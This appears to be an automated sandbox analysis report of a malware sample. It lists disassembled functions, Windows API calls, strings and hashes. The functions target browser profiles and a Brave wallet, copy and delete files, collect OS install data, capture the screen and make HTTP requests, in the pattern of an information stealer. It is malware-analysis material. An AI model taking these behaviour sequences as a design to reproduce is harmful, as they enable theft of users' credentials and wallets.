Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E0), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371E4), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: ec7be3799cd7f1ab7ede32318a87e8319299868577f2a08bed39a97cfb64081b
Instruction ID: 0113a041bf9ee0dc6d25ba3745982a96817547ff9a9362ffbbee30bd04a7c4bd
Opcode Fuzzy Hash: ec7be3799cd7f1ab7ede32318a87e8319299868577f2a08bed39a97cfb64081b
Instruction Fuzzy Hash: 6AE14F72A00209AFCF01FFA1ED4A9DD7B76AF04309F10102AF541B71A1DB796E958F98

Function 00409D1C Relevance: 40.9, APIs: 18, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F1,004367EB,0043731C,004367EA,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437320), ref: 00409DE7
StrCmpCA.SHLWAPI(?,00437324), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437328,?,004367F2), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437348,0043734C,00437328,?,004367F2), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001,00437384,004367FB), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001,00437398,004367FE), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

\BraveWallet\Preferences, xrefs: 0040A105
Brave, xrefs: 0040A00D
Preferences, xrefs: 0040A023
Opera GX, xrefs: 00409E8B
Google Chrome, xrefs: 0040A4B9

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpylstrlen$Find$CopyDeletelstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3650549319-1189830961
Opcode ID: ab1596694eb10fdb4e735c31f894bac6e0a9e3dab77473d2ef205fbe758805b8
Instruction ID: 4238d5646a94c2e6c52f09f94c377ce4c391e708cb42f0175f2145d9089a2d10
Opcode Fuzzy Hash: ab1596694eb10fdb4e735c31f894bac6e0a9e3dab77473d2ef205fbe758805b8
Instruction Fuzzy Hash: 50422C319401299BCF21FB65DD46BCD7775AF04308F4101AAF848B31A2DB79AED98F89

Function 6C0935A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C11F688,00001000), ref: 6C0935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C0935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C0935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C09363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C09369F
__aulldiv.LIBCMT ref: 6C0936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C093773
EnterCriticalSection.KERNEL32(6C11F688), ref: 6C09377E
LeaveCriticalSection.KERNEL32(6C11F688), ref: 6C0937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C0937C4
EnterCriticalSection.KERNEL32(6C11F688), ref: 6C0937CB
LeaveCriticalSection.KERNEL32(6C11F688), ref: 6C093801
__aulldiv.LIBCMT ref: 6C093883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C093902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C093918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C09394C

Strings

GRy/, xrefs: 6C0935AC
GTC, xrefs: 6C093912
AuthcAMDenti, xrefs: 6C093946
QPC, xrefs: 6C0938FC
MOZ_TIMESTAMP_MODE, xrefs: 6C0935DB
GenuntelineI, xrefs: 6C093639

Memory Dump Source

Source File: 00000003.00000002.3333512604.000000006C091000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C090000, based on PE: true

Associated: 00000003.00000002.3328603357.000000006C090000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3339981114.000000006C11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3341297333.000000006C122000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c090000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$GRy/
API String ID: 301339242-3447422709
Opcode ID: ec5c4b279e44b9dcab99af01cdb30f51e538882f6dd75f192c997f30e271cd18
Instruction ID: 6bdb04a9e3d9b1d2f64cdd1e750fa07aae122885e89c58673e1084281f816d3a
Opcode Fuzzy Hash: ec5c4b279e44b9dcab99af01cdb30f51e538882f6dd75f192c997f30e271cd18
Instruction Fuzzy Hash: 7CB1A5B1B093109FDB08DF28C65671ABBF5AB8E704F04892DE499D3B90D7789901EF91

Function 00415F9A Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00415FE1
FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
wsprintfA.USER32 ref: 0041605A
StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
wsprintfA.USER32 ref: 0041608B
wsprintfA.USER32 ref: 004160A2
PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
lstrcatA.KERNEL32(?), ref: 004160EE
lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
lstrcatA.KERNEL32(?,?), ref: 00416113
lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
lstrcatA.KERNEL32(?,?), ref: 00416139
FindNextFileA.KERNEL32(?,?), ref: 004162C8
FindClose.KERNEL32(?), ref: 004162DC

Strings

%s\%s, xrefs: 0041609C
%s\%s, xrefs: 00416054
%s\*, xrefs: 00415FD5

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 3541214880-445461498
Opcode ID: f81e380f71539b663dd536a4ab21c2be376926e67a4efed720e748e646f96403
Instruction ID: dc53ff5765f85fba633ff4d74b61ff0985eb58c7502a078ec5ac58dc47376483
Opcode Fuzzy Hash: f81e380f71539b663dd536a4ab21c2be376926e67a4efed720e748e646f96403
Instruction Fuzzy Hash: 2481187190022DABCF60EF61DC45ACD77B9BF08305F0194E6E549A3150EF7AAB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EC2,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF58,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

Unknown, xrefs: 00411971
ROOT\CIMV2, xrefs: 00411862
WQL, xrefs: 0041189A
Unknown, xrefs: 00411985
%d/%d/%d %d:%d:%d, xrefs: 00411943
Unknown, xrefs: 0041196A
Select * From Win32_OperatingSystem, xrefs: 00411895
InstallDate, xrefs: 004118ED

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: c0eb11b5ee436968efa1db024099a12e82d4b95c474fb4b1889a75565c543515
Instruction ID: 9306796a99560fb33f0370de2d740fe648c40d1cf9c9c5eb00c71453775374cf
Opcode Fuzzy Hash: c0eb11b5ee436968efa1db024099a12e82d4b95c474fb4b1889a75565c543515
Instruction Fuzzy Hash: CD418D71900209BBCB10DBD5DC89EEFBBBDEFC9B11F20410AF211E6190D6799941CB28

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Strings

ERROR, xrefs: 00406AB6
ERROR, xrefs: 00406BAB
GET, xrefs: 00406A42

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 6171e3ca419f1e9bcfc170fad71cd8d4656422f88bc7417012de5f56f6f9547b
Instruction ID: bb4040bcd68c85501e469f0edee38108df75f90e77bbd350ac247b3d876c4702
Opcode Fuzzy Hash: 6171e3ca419f1e9bcfc170fad71cd8d4656422f88bc7417012de5f56f6f9547b
Instruction Fuzzy Hash: 91519EB1A00169AFDF20EB60DC85AEEB7B9FB04344F0180F6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436982,0043697F,0043697E,00436973), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 2f03e383a5c0d785367292fdecadebf89992f7ac8ba0b18ad9d360e758d66a88
Instruction ID: 00722b0fd45776afd759679ccd3a1a7a6ce102eef846c08e099e3bb1de5592fc
Opcode Fuzzy Hash: 2f03e383a5c0d785367292fdecadebf89992f7ac8ba0b18ad9d360e758d66a88
Instruction Fuzzy Hash: 8451EA72900218AFDF15EFA1ED498EEBFBAFF08315F045425F901E2120E7369A55DB61

Function 00415406 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00415433
FindFirstFileA.KERNEL32(?,?), ref: 0041544A
StrCmpCA.SHLWAPI(?,00436A78), ref: 0041546B
StrCmpCA.SHLWAPI(?,00436A7C), ref: 00415485
lstrcatA.KERNEL32(?), ref: 004154D6
lstrcatA.KERNEL32(?), ref: 004154E9
lstrcatA.KERNEL32(?,?), ref: 004154FD
lstrcatA.KERNEL32(?,?), ref: 00415510
lstrcatA.KERNEL32(?,00436A80), ref: 00415522
lstrcatA.KERNEL32(?,?), ref: 00415536

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

FindNextFileA.KERNEL32(?,?), ref: 004155EC
FindClose.KERNEL32(?), ref: 00415600

Strings

%s\%s, xrefs: 00415427

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 950e748add10b56019b716e3e17e2d78282fafab6a2b0565a7a312f115b1aa57
Instruction ID: 1b8820ae2a53e2d1c5371ccfb362d69c41e3a58b2797d9f0c433b52c96bff2bc
Opcode Fuzzy Hash: 950e748add10b56019b716e3e17e2d78282fafab6a2b0565a7a312f115b1aa57
Instruction Fuzzy Hash: 33514FB190021C9BCF64DF60CC89AC9B7BDEB49305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule
